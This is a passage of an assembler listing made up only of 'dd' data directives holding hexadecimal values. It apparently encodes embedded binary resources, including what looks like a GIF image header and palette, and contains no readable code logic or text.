9A56A4AAh, 0A59A54A4h, 5CA5BA5Ah dd 0FA57A5BAh, 0C0A45A5h, 40DB0C6h, 3A1449FAh, 0F60F543h dd 3D06A0F5h, 0FA6E0360h, 0A71A70A6h, 7302E036h, 7A74A75Ah dd 0A79A76A7h, 7AA7BA78h dd 0FA7CA7DAh, 0A81A7EA7h, 0FEA83A80h, 84A85A82h, 9A86A87Ah dd 0A8BA72A8h, 6A03DA6Fh, 80F60F60h, 0A914270Fh, 25026058h dd 9A98A970h, 0A9BA9AA9h, 9EA9DA9Ch, 1AA0A9FAh, 0AA3AA2AAh dd 0A6AA5AA4h, 6AA6AA7Ah, 0F805802h, 0D8A13A6Ah, 0A9DA5419h dd 0F10EE47h, 8106E07Eh, 90710760h, 0ABB074ABh, 0BCABDABCh dd 7406FAh, 7106FACh, 0C6AC406Bh, 7AC8AC5Ah, 0AC1AC4ACh dd 0CDAC2ACCh, 1ACEACFAh, 0AD3AD0ADh, 0D4AD5AD2h, 9AD6AD7Ah dd 0ADBAD8ADh, 0CFADDADAh, 0BAE0ABEAh, 71AB9ABh, 73081076h dd 60F307E0h, 0F441EA0h, 8904907Eh, 1AF00920h, 0AF3AF2AFh dd 0F6AF5AF4h, 9AF8AF7Ah, 0AFBAFAAFh, 0FEAFDAFCh, 1B00AFFAh dd 49089B0h, 0EA0F407Eh, 1A6748CAh, 0F60F243h, 9405B043h dd 0A09F09A0h, 0B1309C09h, 16B15B14h, 9B18B17Bh, 0B1BB1AB1h dd 1EB1DB1Ch, 1B20B1FBh, 0B23B22B2h, 9AB12B1Eh, 70610940h dd 0A3E0F604h, 0FFE9423h, 0E0058034h, 34120FF0h, 0B35B34B3h dd 0FF404B36h, 40580E00h, 494A3D03h, 0F9430B09h, 50500E90h dd 9E09109h, 0AE0A80AEh, 0BB4A0AA0h, 0B4DB4CB4h, 50B4FB4Eh dd 3B52B51Bh, 0B55B54B5h, 58B57B56h, 3B5AB59Bh, 0AEB47B5h dd 9509109Eh, 90E90540h, 0E74250Fh, 3D0FF028h, 0BB6A0D5Ah dd 0B6DB6CB6h, 70B6FB6Eh, 3B72B71Bh, 0B75B74B7h, 78B77B76h dd 9B7AB79Bh, 0F70F2B7h, 0E70280FFh, 0F493B640h, 0F942FB3h dd 8F088078h, 20C20A30h, 0B8D0E30Ch, 90B8FB8Eh, 3B92B91Bh dd 0B95B94B9h, 98B97B96h, 0BB9AB99Bh, 0B9DB9CB9h, 0C20DEB9Ah dd 608D0A30h, 0B8207808h, 9D065423h, 50DBA690h, 0BAD0D80Dh dd 0B0BAFBAEh, 3BB2BB1Bh, 0BB5BB4BBh, 0B8BB7BB6h, 0BBBABB9Bh dd 0BBDBBCBBh, 0DB0D5BBAh, 509DA6A0h, 491BA606h, 0F842EB84h dd 60950570h, 0E10E409h, 0D00EA0DFh, 3BD2BD1Bh, 0BD5BD4BDh dd 0BD7BFED6h, 0DABD9BD8h, 0DBDCBDBBh, 0BDFBDEBDh, 0E6BDDBE0h dd 60E40E10h, 5709509h, 36421BC5h, 70F40DD0h, 0E00DD0Fh dd 0F2BF1BF0h, 5BF4BF3Bh, 0BF7BF6BFh, 0FABF9BF8h, 0DBFCBFBBh dd 0BFFBFEBFh, 3CBFFC00h, 60DD0F4Ah, 79EBE903h, 0B1548AAFh dd 0C0F8479Ah, 9F09304h, 0EE0ED0FFh, 5C140EC0h, 0C17C16C1h dd 1AC19C18h, 0DC1CC1BCh, 0C1FC1EC1h, 22C21C20h, 2C24C23Ch dd 0FF0EDC2h, 4C09509Fh, 0C41FC070h, 0EF0D802h, 329EA0FFh dd 0AC34C33Ch, 0EF0FF45h, 2C02C0D8h, 0FC09792Ch, 478C0B54h dd 8D0460F6h, 5A1009E0h, 0C47C46C4h, 0FEC49C48h, 60930A19h dd 0F0C3B04h, 0EE0DB02Bh, 5C54C4A0h, 0C57C56C5h, 0DB0EEA00h dd 0FC4F02B0h, 42DBC747h, 870460F5h, 1A0FC440h, 0C669F600h dd 0F2C69C58h, 9C6AC689h, 8709EC4h, 2B425C4Eh, 0B7E0E00h dd 0C6BC6CA0h, 779F4C6Dh, 0EC7CC79Ch, 9F8C7B9Fh, 0E00F7FEh dd 3DB3EC5Ch, 7C3F556Ch, 480F247h, 0F6099082h, 145F4470h dd 0C9044B00h, 92466C35h, 0FC950EECh, 0F0C33C8h, 8409A0F6h dd 0DC4F0480h, 0FF0DB02h, 55456C8Dh, 7C32C912h, 45BC93C9h dd 0AB454CA8h, 0BCAD450Ch, 0FFC9A44h, 5D02D0DBh, 0C8559BCh dd 476C8757h, 9507CC89h, 0F0E50EE0h, 0CC1CC00Dh, 0C4CC3CC2h dd 1001CC4Ch, 0CC5CC7CCh, 0CCCCBCCAh, 0FCCECCDCh, 0CC9CCACCh dd 0D0CD20DFh, 5CD4CCDCh, 0CCACD8CDh, 950EE0E5h, 4C9E07B0h dd 2D0F542h, 0E5C310C6h, 7CE60DD0h, 0CE9CE8CEh, 0EB0010DDh dd 0ACECCE8Ch, 0CF1CF0CEh, 0EDCF3CF2h, 7CF6CF4Ch, 0CF9CF8CFh dd 0FACEFCE9h, 0CCF8CF5Ch, 0CDBCF2CFh, 0B40C60FFh, 57A5C84Ch dd 47B7AE88h, 95079C89h, 30DF0EB0h, 0D11D100Dh, 14D13D12h dd 1001D14Dh, 0D10D17D1h, 1BD1255Ah, 3D18D15Dh, 0D1A2550Dh dd 23D1F559h, 8D21D20Dh, 0FE9D25D1h, 0D26D1FD1h, 23D1CD27h dd 0D25D17Dh, 0D22D26D2h, 19D2CD2Dh, 0ED1DD1DDh, 0D3BD3AD1h dd 0EB0DFD14h, 0F06C08D0h, 0CE1423CDh, 0EB0FF0C0h, 90D20DD0h dd 0D4BD4AD4h, 10D2D4Ch, 0FD4BD4E0h, 55AD49D4h, 54D4DD4Dh dd 0D57D4ADh, 0D53559D5h, 4FD52D5Bh, 1D53D5BDh, 0D60D58D5h dd 61D52D4Ch, 8255D5ADh, 0D69D4ED5h, 57D6CD61h, 0BD64D6FDh dd 0D60D6ED6h, 50D72D59h, 0DD4BD55Dh, 0FF0EB0Dh, 83D050C0h dd 959DCB7Bh, 0F7475CBh, 9306C048h, 0F0DF0EA0h, 0D8BD8A0Ch dd 8ED8DD8Ch, 0F001D8FDh, 0D8AD910Ch, 96D94D93h, 0D95D8BDh dd 0D99D95D9h, 98255D93h, 6D97D9BDh, 0D92D99D9h, 8ED98DA4h dd 2DA0D9BDh, 0D97DA9D9h, 0ADDA1D9Ch, 1DB0D8FDh, 0BCFDB1DBh dd 42063087h, 0D0F2422Dh, 0FF0BE02h, 390DB0EAh, 10C8DBFAh dd 0DC2A1B00h, 1CDC5DC3h, 8DBFDC4Ah, 0DC6DC1DCh, 0C7255DC6h dd 0EDC4DCCDh, 0DDFECDDCh, 0DD4DD1A1h, 0D1DCAA38h, 0FDD9DC8Dh dd 0DDADC1DCh, 0CCDCBDD6h, 0DD8DE0Dh, 0DDADDFDDh, 0DBDBFDCAh dd 0E0FF0EA0h, 492D7E0Bh, 0F842CC5Fh, 70680480h, 0D90E908h dd 0F8DF70CAh, 0BDFADF9Dh, 0CADFCDFh, 0FFDF9001h, 1E01DF8Dh dd 0DFADFDE0h, 0DFEE04h, 0BE07DF7Eh, 0E09E0AE0h, 0FE0DE08h dd 1E0EE10Eh, 0E0CE0FE1h, 3DFCE02h, 0BE05E17Eh, 0DFDE1CE1h dd 820E90D9h, 1DB70600h, 0BBCE142h, 0D80E90FFh, 0BE2AA190h dd 0A19E2CE2h, 2AE2E001h, 20C6E2FEh, 0E2DE30E3h, 34E36E31h dd 5E35E33Eh, 0E32E34E3h, 2BE3EE39h, 0CE37E40Eh, 0E3BE3FE2h dd 3CE47E3Ah, 8E4AE41Eh, 0E48E45E4h, 42E4EE4Bh, 6E36E46Eh dd 0E90D80Ch, 0ED0BB0FFh, 0BD80BC6Dh, 474D8263h, 5F0480F5h dd 60E807D0h, 0E650C40Dh, 68E67E66h, 4E6AE69Eh, 0E670010Ch dd 55E66676h, 0DE68E6B2h, 674E70E6h, 77E74E65h, 0E79E6EEh dd 0CE7BFEE7h, 0E76E77E6h, 82E7CE73h, 0E6CE78Eh, 0E71E7FE8h dd 72E75E7Eh, 0AE8CE8BEh, 0E80D6E6h, 2305C07Bh, 0D0F8420Eh dd 0FF0B702h, 600D20E5h, 7001A4AAh, 0C0E9DA4h, 46E9FE9Fh dd 4A56EA2Ah, 0A48E9EEAh, 0A3EA8EA1h, 0AEA0EA7Eh, 0EACEADEAh dd 0AEE9C676h, 0EA9EA4Eh, 0EABEAEEBh, 74EA0EAFh, 2A49EB86h dd 0EB9EB1EAh, 0D2A57EC0h, 70FF0E50h, 490E590Bh, 8942BDEFh dd 607905CCh, 0C50D30Eh, 0D2ED1ED0h, 5ED4ED3Eh, 10C5EDh dd 0D6ED8ED2h, 0BEDAED7Eh, 0ED7EDDEDh, 0E2EDFED5h, 4EE3ED0Eh dd 0EE6EE0EEh, 0EAEE7EDBh, 4EE5EE7Eh, 0EDAEDDEDh, 0F1EE4EDFh dd 0BEF4EE9Eh, 0E60D3EDh, 3BE92077h, 0F0B4E95Ch, 0CE0E20Fh dd 2F010BAh, 0AF04F03Fh, 0F030010Bh, 6F07F07h, 0CF05F08Fh dd 0F0AF05F0h, 10F0AF01h, 4F14F0BFh, 0F12F13F1h, 0DF13F0Eh dd 9F11F17Fh, 0F02F1EF1h, 1AF15F1Ch, 0F0FF1DFh, 0EF1BF2FEh dd 0F02F0DF0h, 0FF0E20CEh, 8EC70B40h, 8B6D07C0h, 4847BD09h dd 0C0770560h, 0EF50C70Dh, 3CED9F3Ah, 0DEF3EF4Fh, 0ED3EE8F3h dd 40EECEEDh, 0EEEFED8Fh, 0EE5ED1F3h, 3DF49F43h, 0BEEBF3FFh dd 0C5F50F3h, 770DC0C7h, 0FE930560h, 2D0F941h, 0BDCB20B2h dd 0FF5E0A90h, 0F61F60F5h, 600010A9h, 3F64F64Fh, 0F62F65F6h dd 67F62F69h, 0DF67F5EFh, 0F71F68F6h, 6FF70F71h, 0AF70F6BFh dd 0F6EF74F6h, 5FF7BF76h, 7F72F79Fh, 0F6CF7AF7h, 6BF78F7Dh dd 0DF5FF6AFh, 0B2CA10Bh, 5B4B6F2Fh, 0D476671Eh, 530460Eh dd 51ECF077h, 0F43F3AFh, 0EE1F40EFh, 4CF98F99h, 0BF97F9DFh dd 0F9DEEEF9h, 0EAF9FEE8h, 0BF41255Eh, 0F3AF95F4h, 4B0790D3h dd 0DB2DC710h, 0FF0B102h, 0A40B20D2h, 7FB6FB50h, 0A4FB8FBh dd 55FB8001h, 6FBBFB52h, 0FB9FBFFBh, 0BFFB7FBEh, 3FBAFC1Fh dd 0FC8FC0FCh, 0C8FCBFC7h dd 0FEBDFC1Fh, 0AFD0FCCFh, 0FC6FCFFCh, 0CAFCEFC5h, 9FC5FD0Fh dd 0FD4FDAFCh, 0D2FC4FD2h, 4FC2FC6Fh, 0D20B20Ah, 8B0B10FFh dd 4F31C3CFh, 47C8B793h, 9304BF90h, 1EF5FA9Fh, 0ED955AEFh dd 41F99559h, 7FA6EF2Fh, 0FF3EEDFFh, 42FFCFF6h, 1100FA6Fh dd 62C0D8A0h, 1C120B02h, 0C1A14018h, 160F0A84h, 22310874h dd 2D158A42h, 0ED38445Eh, 0F92312CEh, 0F9047DE0h, 588B5F31h dd 4AD1A4FFh, 4AE55295h, 0B402A996h, 6172997Ch, 5D2D994Ch dd 53395C2Eh, 32974D25h, 5A04F615h, 9A4BE7D3h, 8CE26D3Ah dd 0CDE933C9h, 328D2CA2h, 0E714AA1Dh, 7F39A8D0h, 8A99B4F2h dd 0B17FB496h, 190C785Ah, 0B258EC56h, 7486CD65h, 0AFDEAF07h dd 0BDB4D461h, 2E571B85h, 7EC36A5Ch, 0F69783D5h, 7BBE5EECh dd 0B25931DBh, 8C341B87h, 0C61F0D85h, 62F110C8h, 3F1D8DC6h dd 18B91C86h, 991B6E34h, 6F9B1580h, 0CC7E2C45h, 5FE6572h dd 562B3A1Dh, 9F4DA5D1h, 749A2D46h, 4DADD66Ah, 2FC662E7h dd 7DCC0AD6h, 9B16DF6Dh, 0B9DB6D76h, 0BDD6E5BDh, 0F0F7179Bh dd 2CAEF1BEh, 160A2319h, 9DCD60AFh, 5D1E873Fh, 0D0EA74FAh dd 9EC75403h, 0EE76FB5Dh, 0A77FBDDDh, 28960BCEh, 0D4AE4B2Eh dd 0C6CF990Eh, 0A4D8792Ch, 5F1F8319h, 0F5FA7CFEh, 9FB007EBh dd 0FE7EFF5Fh, 0C7CBFDFDh, 7013FEFh, 693E3024h, 166791B0h dd 0AE23D01Bh, 6374B341h, 26DF2DCBh, 0BD2F0E04h, 0A430C41Ch dd 4220F07Bh, 291C3907h, 465C1605h, 1344B124h, 4531444Fh dd 0B1616A5Ch, 845F1745h, 6B194631h, 1B46B151h, 4731C46Fh dd 9154771Dh, 911C52C5h, 0F0220743h, 2F245060h, 9C471124h dd 0B2649672h, 849F2749h, 0A7294A32h, 2B4AB2A4h, 32B4AFh dd 0B2E4B72Ch, 9493274Bh, 33228BC4h, 0DE421324h, 42ADF426h dd 3324C8E1h, 862749Fh, 8360802h, 4EA4FE79h, 33C4EF3Bh dd 0ACF73D4Fh, 0FF3F1233h, 41503404h, 12342507h, 34450F3Eh dd 65174551h, 0FD3E51B4h, 200D8424h, 9D217882h, 0E531F331h dd 39C46904h, 0D273D3A7h, 51543501h, 54B52547h, 3541D553h dd 654D54D5h, 5552D5B5h, 5955D555h, 0D6152567h, 15C56955h dd 11CF4F57h, 4C139A47h, 74D9319h, 0CD1094CDh, 50BCD4B9h dd 0B1E506D8h, 821487E7h, 2F8B8278h, 5AB6A5A6h, 36C5AF6Bh dd 0E5B76D5Bh, 0BF6F5BB6h, 715C3705h, 8B9705C7h, 0E1488226h dd 21E47B07h, 66759E4Bh, 7A9D2230h, 9F07C1EEh, 37C5EE7Bh dd 0ADF17D5Fh, 0FF7F5FB7h, 811F77F5h, 60B82607h, 0F7AE0182h dd 66107F9Fh, 1B85DFD8h, 89623886h, 0E2B8A627h, 4749EB8Ah dd 61D61989h, 89615957h, 6437B635h, 1DD61E3Dh, 2290CC3Fh dd 66561B87h, 6F9765B9h, 9965E180h, 66B9A667h, 39C66F9Bh dd 0E6779D67h, 7798E759h, 0A41CEFEh, 3358FC33h, 48FE7FB7h dd 96449302h, 0A769BA66h, 6A3A869Fh, 0BAA6A7A9h, 0C6AFAB6Ah dd 0B7AD6B3Ah, 1E131AE6h, 5927F8FCh, 2B558792h, 0B58F90C2h dd 1DB1C2CBh, 381EA7B4h, 6E21C07Ah, 1BA6E7B9h, 0C6EA1707h dd 0F7BD6F3Bh, 0BF6FBBE6h, 703C06FFh, 3BBF01C1h, 0B0E01EF0h dd 16B3DD67h, 1284C2C6h, 4A11044h, 0BCA727C9h, 0C72FCB72h dd 21CD733Ch, 0CF73BCE7h, 743D073Fh, 0BCD747D1h, 474FD374h dd 4C12F53Dh, 7D98C2C0h, 0E41366D6h, 191AE3B3h, 91DCDC76h dd 0AA711F27h, 0DF77A691h, 9A5E077Fh, 0BE219C65h, 478FE378h dd 97E5793Eh, 0E779BE67h, 7A3E879Fh, 0FE1FA7E9h, 1ABDF79h dd 0CB8E9F47h, 7A9EA772h, 9685D9A4h, 0A5BFC45Bh, 47CFF37Ch dd 0D65CFCBFh, 0F77DBF67h, 0FE3F87DFh, 0BFA1665Ch, 0AFEFFB7Eh dd 0F7FD169Fh, 0FDFFBFE7h, 0FA2007D3h, 240317Ch, 780D016h dd 0FE026044h, 60C017Dh, 0F81D036h, 25046084h, 4A01C0C8h dd 0B1781D83h, 3764861Dh, 2ED4B7BBh, 8791B783h, 423844C2h dd 84D09612h, 0A614427h, 1642B855h, 2F85D0B6h, 650C6184h dd 0B07DB0A8h, 81B96C4Bh, 0B8663EC7h, 0D0F61E43h, 62043F87h dd 0F286910h, 83F0DC77h, 720D97Dh, 0BE44783Dh, 4F89D114h dd 0A5146284h, 562A4538h, 0C4578AD1h, 0B8B51662h, 0D1762E45h dd 6264508Bh, 9B68C518h, 8CD1962Fh, 71231C59h, 25BB3892h dd 672C71A6h, 0E51C6384h, 0D63A4738h, 0C46E8AF1h, 0B8ED1E63h dd 91E62DC7h, 133B658Ch, 46D1B507h, 90D2163Fh, 22644487h dd 4648B915h, 6B2CF236h, 1D211B3Ch, 564A4939h, 0C49792D2h dd 8992664h, 524990C9h, 65049F93h, 4A394528h, 9391BA52h dd 2964F2C6h, 564AB955h, 0A395D2B6h, 529A253Ch, 0D65A4AF9h dd 0C4B796D2h, 4962DAE5h, 2D15B4A1h, 6604BF97h, 39FE8530h dd 0A6ECE14Ch, 0A5EC4A58h, 4CB98911h, 99D33666h, 9A65DC8Dh dd 6A4CF992h, 0D79AD356h, 4534623Ch, 766C4D36h, 4DF9BD3h dd 790083E7h, 3372364Ch, 6744E79Ch, 0CDA99B3Ah, 17E33563h dd 3AA220F8h, 7A4F39E5h, 0F87712D2h, 0C83345F8h, 346BB679h dd 0CCF01863h, 3A051F0Bh, 0D4168250h, 684507A0h, 50BA1542h dd 8FB43686h, 30C7C0F2h, 410D719Ah, 0D11AE5BEh, 0E03EC618h dd 767ABDB9h, 9D1FA3D4h, 0BA203CA4h, 8344618Fh, 46BD15A2h dd 2F56045Dh, 0A5D4B5EFh, 4C69852Fh, 9A533A65h, 37A6D4D6h dd 754E69C5h, 0F69E53BAh, 53FA7D4h, 3A85506Ah, 0D516A254h dd 6A4547A8h, 2F5A7152h, 0A4E5B581h, 30E8C528h, 0AA0BF2ECh dd 57AAD556h, 0B5566AC5h, 76AE55BAh, 55FABD5h, 3AC5586Bh dd 0D596B256h, 6B4567ACh, 56BAD55Ah, 0ADD5B6B6h, 5C6B856Fh dd 92D52AC1h, 0DAA2B53Eh, 0F4336948h, 0BE57D44Ah, 7FAFD5F6h dd 5606C05h, 16C2583Bh, 4587B0D6h, 0BB15626Ch, 0D636C658h dd 6C858FB1h, 593B2564h, 0B2D656CAh, 5EAC4597h, 0BBD769F5h dd 291A95E2h, 456846A5h, 96D25A3Bh, 45A7B4D6h, 0BB556A6Dh dd 0D6B6D65Ah, 6D85AFB5h, 5B3B656Ch, 0B6D6D6DAh, 6E6DC5B7h dd 0DE5BBB75h, 0ADB7D6F6h, 3B67294Dh, 16E25C3Bh, 45C7B8D7h dd 0BB95726Eh, 0D736E65Ch, 6E85CFB9h, 5D3BA574h, 0BAD756EAh dd 766EC5D7h, 0EE5DBBB5h, 0DFBBD776h, 0C5786F05h, 96F25E3Bh dd 45E7BCD7h, 0BBD57A6Fh, 0D7B6F65Eh, 6F85EFBDh, 5F3BE57Ch dd 0BED7D6FAh, 7E6FC5F7h, 0FE5FBBF5h, 0FFBFD7F6h, 5807005h dd 1702603Ch, 4607C0D8h, 0BC158270h, 0D8370660h, 70860FC1h dd 0E10C2584h, 3B000080h, 0 dd 38464947h, 21D6137h, 0E700A4h, 10000h, 401h, 5000704h dd 0A070009h, 50C0802h, 0E080E0Bh, 12100A11h, 0C14120Dh dd 140F1A14h, 1B150E16h, 0F201B0Eh, 1F11211Dh, 25201323h dd 162B2618h, 291C3128h, 362D1B2Eh, 243C3221h, 39273F36h dd 443C2242h, 22453B2Ah, 42284E41h, 5446284Ah, 2B554829h dd 4C2E574Ah, 5B4E2F5Ah, 36635537h, 5E3A6C5Ah, 73603C70h dd 3E756337h, 673B7562h, 7C6A3D79h, 417E6C3Fh, 6F427F6Dh dd 88713E81h, 44847245h, 78468D76h, 89725F90h, 5A897459h dd 7C4A8A75h, 8F7A5F93h, 6297804Eh, 8250927Dh, 9C84529Ah dd 33958065h, 8654CA8Ah, 91816A9Dh, 6C97806Dh, 7C909382h dd 0A1895867h, 58BC8F3Fh, 913ECB87h, 0AA8C54B8h, 76978670h dd 8D5B9785h, 0A68F54A5h, 56998872h, 8973DB8Ah, 0AE90599Ah dd 41DD8C58h, 925AFF91h, 0B19553AFh, 55B2945Dh, 8D7EB397h dd 0A08F789Fh, 68B49856h, 9646A794h, 0FE9352FFh, 5BB69A58h dd 937BBC99h, 0B99C5BB0h, 7EF69854h, 9778A695h, 0BA9E5DA7h dd 86A7967Fh, 9F5EA895h, 0FF9A59BCh, 81BDA05Fh, 9E50A998h dd 0BEA160FFh, 7CFF9C5Bh, 9C69C899h, 0FC9C66E8h, 8CBAA270h dd 0A160AE9Bh, 0AF9C8DFFh, 7FAA9D91h, 0A46DD7A2h, 0B0A297FEh dd 6FFFA965h, 0A97BFFA7h, 0FFAA66C9h, 9AFDAA70h, 0AF7AB3A6h dd 0FFAE75C1h, 9EBAADA1h, 0B280CDADh, 0CEB098FFh, 0A7C8AEA3h dd 0B392B7AFh, 0FEBA6FDCh, 93C5B78Fh, 0B594DDB4h, 0FEB58BDEh dd 84C1B3A8h, 0B78DFFB9h, 0FEBC8EFFh, 91FEBA96h, 0BBB3FFBFh dd 0C6BDB5C3h, 9AE6C1A5h, 0C49DFEC2h, 0FCC5A3FFh, 0A9F7C7A2h dd 0C5BDF7C6h, 0FFC8A6CDh, 0BFCFC6BEh, 0CAA8D0C7h, 0FDCE9FFFh dd 0A7FCCAADh, 0CAC1FDCDh, 0FECCB0D2h, 0B2FFCFA9h, 0D0B8FFCFh dd 0D8D0C8FCh, 0B4FFD2BAh, 0D6B6FFD5h, 0DDD5CCFFh, 0BCFCD5C2h dd 0D7C4FDD8h, 0F8DBBAFEh, 0CFFFDCB7h, 0DAC2E0D8h, 0DBD9D4F9h dd 0D2FFDAC6h, 0DACBE2DAh, 0E4DBD3FCh, 0C6E5DCD4h, 0E1C5FDDEh dd 0E0DED8F9h, 0DAE7DED6h, 0E0D7E2DFh, 0FBE3C7E8h, 0CEE3E0DBh dd 0E1D8FBE2h, 0EAE2D9E9h, 0DCFDE5C9h, 0E3D4E4E2h, 0EBE3DAF8h dd 0DFE5E3DDh, 0E7CFE6E4h, 0FFE8CCFAh, 0D6FAE4DCh, 0E5E0FAE6h dd 0FBE7D7E8h, 0EAE9E6E1h, 0E5E1E3E4h, 0DDE4EDF5h, 0E2F0E7DFh dd 0E6E2EAE7h, 0F6E8DCF6h, 0E3EBE8E3h, 0E9E4F7E7h, 0F8E8E4ECh dd 0E0EDEAE5h, 0ECE6FAECh, 0F5EBEAEEh, 0DCEFEDE7h, 0EEE5FDF0h dd 0F2EFEAF7h, 0EBF9F0E8h, 0F1E4F3F0h, 0FFF3DFFFh, 0E9F4F1ECh dd 0F2EDFAF2h, 0FBF1F0F5h, 0EFF6F3EEh, 0F6F0F7F5h, 0F9F7F2F8h dd 0F3FBF6F9h, 0F8F6FBF8h, 0FCF9F4F4h, 0F5FCF8FAh, 0F8FEFDFAh dd 0F7FAF8F7h, 0F9FEFBF6h, 0FCFAF8FBh, 0FFFDF7F9h, 0FEFAFDFBh dd 0FEF8FFFCh, 0FBFDFFFFh, 0FCFFFFF9h, 0FFFEFBFFh, 2CFCh dd 21D0000h, 80000A4h, 87100FEh, 20B0481Ch, 88382241h dd 0B0C26110h, 518643A1h, 489C4A22h, 8B96A231h, 0DC6A3318h dd 0C7A3B1C8h, 8A43208Fh, 0A4B2491Ch, 532893C9h, 0B2C95CAAh dd 3097CBA5h, 48AC7A63h, 9B4DA6B3h, 5132730Fh, 0CFA0D098h dd 2A79039Fh, 61B0A85Ch, 90518851h, 512A5CDEh, 50A7D3A6h dd 4A9D4AA3h, 0ABD5AAB5h, 0B5362F58h, 0D30B4518h, 1A915FAFh dd 0E8B0C85Dh, 0F0884D0h, 0B43B5D0Eh, 70B0592Ch, 4B9D662Dh dd 0BBDDAEB7h, 0BDEAF378h, 5BAE171Ah, 13036CB7h, 61D4985Dh dd 0BF7DC3E1h, 91B32C9Eh, 8E32D631h, 38C6469Dh, 0BDE42AB9h dd 0D16B2B20h, 0E632F53Ch, 4B399A90h, 63B9FCF5h, 0E4CB0E2h dd 0F66A4C3Fh, 0A7D4EA68h, 8BC5363h, 0DBEDB6B9h, 368B73B8h dd 0EFB7BBA9h, 0BB75C0DFh, 78BC4E0Ch, 93C6CDEFh, 0BCA92EEFh dd 0CECCF139h, 4E8F0F73h, 0D94B7A5Dh, 66BE23D8h, 0F7BBBD58h dd 0FEC3E0EFh, 0BE4F1F8Bh, 0E8F3F9BCh, 0CF5FABD3h, 0F7FBBDBEh dd 9FCBE3F0h, 0FDBEBF4Fh, 0EBF3F8FBh, 0BFBFCFDFh, 600FFFFh dd 4C026018h, 4336D8h, 44C6D833h, 2005D502h, 461083E0h dd 1484E128h, 0A0177EEh, 408075B6h, 809DB607h, 86208541h dd 2488E228h, 95E2896h, 96D81Bh, 0A6D60C0Bh, 0C6260941h dd 348CE328h, 102028D6h, 8336D40Dh, 90386503h, 0D6420h dd 0D089901h, 5406008h, 40164048h, 5040060Bh, 302A0046h dd 2B008010h, 941B5928h, 9B595252h, 0C0080F0Bh, 0DA0E0980h dd 6498E628h, 2220996h, 41D64050h, 0C0846508h, 20501961h dd 4004A430h, 784F18Ch, 41792814h, 193C3515h, 82B9081h dd 7F92A560h, 64281196h, 2E02035h, 69864C18h, 4690A3E6h dd 167C292Ah, 2465954h, 44719447h, 582A8Bh, 0D43B0319h dd 4A0105C6h, 9F6570DEh, 1A3A83h, 76424FAAh, 0B5FE09C1h dd 0A4E8E091h, 0EB6AD6B4h, 0C08DC9ADh, 0D4110CE1h, 1C824116h dd 165B508Ch, 41F0B82Eh, 0C0066103h, 5C6095C5h, 0CD93E839h dd 6D668A0Eh, 0EB8ACC4Fh, 3B66D8B5h, 940F0EE9h, 90B081D1h dd 3C65AE9h, 833196A1h, 20640E01h, 0DAC90DC2h, 0CFBB6B36h dd 18E4FAB6h, 0AD6181B5h, 0ABE6F8B6h, 540689AFh, 909A40C1h dd 1480C141h, 40E6D406h, 149B50Ah, 0BF0BBC6Fh, 1990Bh dd 0BEED5197h, 716C5714h, 90801584h, 7C146DA7h, 0CB95C150h dd 0C2C29642h, 0ECEAA6F2h, 86016C9h, 5EF709D9h, 30CBF2ECh dd 8227BFh, 802876B0h, 0E049B508h, 0A0551541h, 0EC90060h dd 0EF41C97h, 0C600BC0Ch, 1CB4080Bh, 374CD2F3h, 20D5DEDh dd 165B7164h, 47AB004h, 20100205h, 0BB400B41h, 65D06CFBh dd 4100BCh, 80508C0Ch, 0ADA768D3h, 74478836h, 70DBF6BBh dd 21F4DC7h, 0C6314823h, 2090130Eh, 7CDEFEF7h, 0CDE5DF7h dd 80201413h, 6DFA3003h, 2788E1F8h, 8CE2F8AEh, 0E3F8EE37h dd 0F92E4790h, 0E57A35E4h, 67987655h, 9CE6F9AEh, 0E7F9EE77h dd 0FA2E87A0h, 6E97A4E8h, 5796763Ah, 4059D5E7h, 0EBFAEEB5h dd 0FB2EC7B0h, 6ED7B4ECh, 0E7B8EDFBh, 0BCEEFBAEh, 0EFFBEEF7h dd 0FC2F07C0h, 0D50FB3F0h, 305A7455h, 0CC0D5031h, 0F3FCEF37h dd 0FD2F47D0h, 6F57D4F4h, 67D8F5FDh, 0DCF6FDAFh, 0F7FDEF77h dd 0FE2F87E0h, 6F97E4F8h, 0A7E8F9FEh, 4C40FD9Fh, 579C9720h dd 0FB3EC38h, 63D4F83Eh, 0E7F8FDFFh, 0FCFEFFAFh, 0FFFFEFF7h dd 0A00C00h, 2C04807h, 880F01Ah, 1702A04Ch, 3A06C0C8h dd 8C1081F0h, 182704A0h, 0FC9FA40h, 9F7BC707h, 0F27E6F2h dd 83E3C079h, 8A10C20h, 12C24847h, 2884F09Ah, 570AA14Ch dd 0BA16C2C8h, 8C3085F0h, 48670CA1h, 0F0DA1AC3h, 0A1CC3886h dd 43C8770Eh, 1F107615h, 41C0FBFEh, 5A394FBh, 83C3E084h dd 12A248EEh, 26C4C897h, 5089F13Ah, 0A714A28Ch, 5A2AC548h dd 0CC588AF1h, 0C8B716A2h, 0F17A2EC5h, 0A30C608Bh, 0C648C718h dd 8AD19A32h, 3E0790F0h, 0E2BEE212h, 35088144h, 7A3BA238h dd 0DA3AC748h, 0CC788EF1h, 0C8F71EA3h, 0F1FA3EC7h, 87742E8Fh dd 84406B1Ah, 0A272828h, 3D41A838h, 404731E0h, 9091F23Ah dd 2724A48Ch, 5A4AC949h, 0AC738592h, 78300D47h, 0B22E44C8h dd 0A50C9791h, 0CA494728h, 94F29A52h, 26E4CC7Ch, 441C990Dh dd 0A891922Ah, 672CA58Ch, 0DA5ACB49h, 0E4AA9232h, 93D2B64h dd 0F2FA5BCBh, 0A60CC097h, 4B998530h, 95C71A56h, 32A61C9Fh dd 66CCC997h, 0C58F733Ah, 412BE4ECh, 5A6ACCF9h, 0CCD89AF3h dd 0A9352C26h, 92F263CBh, 0A70CDA9Ah, 4E49C738h, 97734651h dd 3AA72CD3h dd 76CEC9D7h, 0DE9CF1DEh, 0E73BA74Ch, 0DA7ACF49h, 0FEF084F3h dd 0EF37E374h, 0FA7ECFC9h, 24F99CB3h, 0F97B320Eh, 0F41A82CFh dd 784C4A0h, 4FA98D37h, 0A1F42279h, 29288D10h, 819C1A03h dd 18A25382h, 0A146A8CDh, 4A55D0A9h, 0D1B9933h, 9A4748A9h dd 0C7028A43h, 0A94D24A2h, 42AA574Ah, 0A506FE93h, 4CA98D2Ch dd 0DF52EA57h, 38A674C0h, 6B4629CDh, 0EA9B9BDAh, 0F540A7F4h dd 0E3754F27h, 0F51AA0D3h, 6A1CECA8h, 0D48A8A6Eh, 9B153AA6h dd 530DC54Ah, 0AAD54A9Fh, 0B7AA330Eh, 3086A99h, 76AED5C0h dd 58011E15h, 38E95866h, 0F59647D6h, 6925678Fh, 0D6B83F5Ah dd 9255B61Eh, 47677D6Fh, 